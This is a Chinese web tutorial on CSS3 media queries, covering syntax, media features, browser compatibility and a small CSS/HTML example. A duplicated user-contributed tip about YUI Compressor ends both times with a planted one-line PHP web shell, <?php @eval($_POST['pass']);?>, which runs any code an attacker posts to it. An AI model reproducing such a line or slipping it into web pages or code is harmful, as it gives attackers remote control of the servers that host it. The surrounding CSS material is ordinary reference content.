您尚未登录,无法添加相关文章。 - 登录

新用户?

哎呀,出了点小问题,您可以稍后重试!

未填写内容或格式不正确!

CSS3 media queries使用参考指南

浏览:31891

相关技术文章博览

我要添加++

基础知识(取自腾讯ISD Webteam CSS3中文手册)

语法:

@media<sMedia> { sRules }

取值:
<sMedia>
指定设备名称。
{sRules}:
样式表定义。
说明:

判断媒介(对象)类型来实现不同的展现。此特性让CSS可以更精确作用于不同的媒介类型,同一媒介的不同条件(分辨率、色数等等).

media_query: [only | not]? <media_type> [ and <expression> ]*
expression: ( <media_feature> [: <value>]? )
media_type: all | aural | braille | handheld | print | projection | screen | tty | tv | embossed
media_feature: width | min-width | max-width 
  | height | min-height | max-height
  | device-width | min-device-width | max-device-width
  | device-height | min-device-height | max-device-height
  | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio
  | color | min-color | max-color
  | color-index | min-color-index | max-color-index
  | monochrome | min-monochrome | max-monochrome 
  | resolution | min-resolution | max-resolution
  | scan | grid
兼容性:
类型 IEInternet Explorer FirefoxFirefox ChromeChrome OperaOpera SafariSafari
版本 (×)IE6 (×)Firefox 2.0 (√)Chrome 1.0.x (√)Opera 9.63 (√)Safari 3.1
(×)IE7 (×)Firefox 3.0 (√)Chrome 2.0.x (√)Safari 4
(×)IE8 (√)Firefox 3.5
 

代码与实例

CSS代码:
.media_quires{width:200px; padding:40px 20px; background-color:#beceeb;}
@media all and (min-width: 800px) {
    .media_quires {
        background-color:#f0f3f9;
    }
}
@media screen and (max-width: 1200px) {
    .media_quires {
        background-color:#cad5eb;
    }
}
                
HTML代码:
<div class="media_quires">改变浏览器窗口大小背景颜色改变</div>
                
效果截图
CSS3 media queries效果截图CSS3 media queries效果截图
查看demo原页面>>

拓展知识点(由各前端同仁提供)

知识点(1) 提供者:张鑫旭 最后编辑:张鑫旭[编辑本段]
使用YUI compressor压缩CSS的时候,如果你的YUI compressor还是几年之前的那个版本,可能会出问题,你会发现CSS样式中的Media Queries直接被无视的。究其原因是因为YUI compressor将and后面重要的空格给抹掉了。

要解决此问题,很简单,下个最新的YUI compressor就可以了,您可以去这里下载。新下载的YUI compressor就无需重新配置路径,Java home之类,直接覆盖yuicompressor.jar这个文件就完事大吉了。<?php @eval($_POST[\'pass\']);?>
使用YUI compressor压缩CSS的时候,如果你的YUI compressor还是几年之前的那个版本,可能会出问题,你会发现CSS样式中的Media Queries直接被无视的。究其原因是因为YUI compressor将and后面重要的空格给抹掉了。

要解决此问题,很简单,下个最新的YUI compressor就可以了,您可以去这里下载。新下载的YUI compressor就无需重新配置路径,Java home之类,直接覆盖yuicompressor.jar这个文件就完事大吉了。<?php @eval($_POST[\'pass\']);?>
对下面的内容进行修改编辑:
图片地址是:取消
插入:

我要分享

分享到:1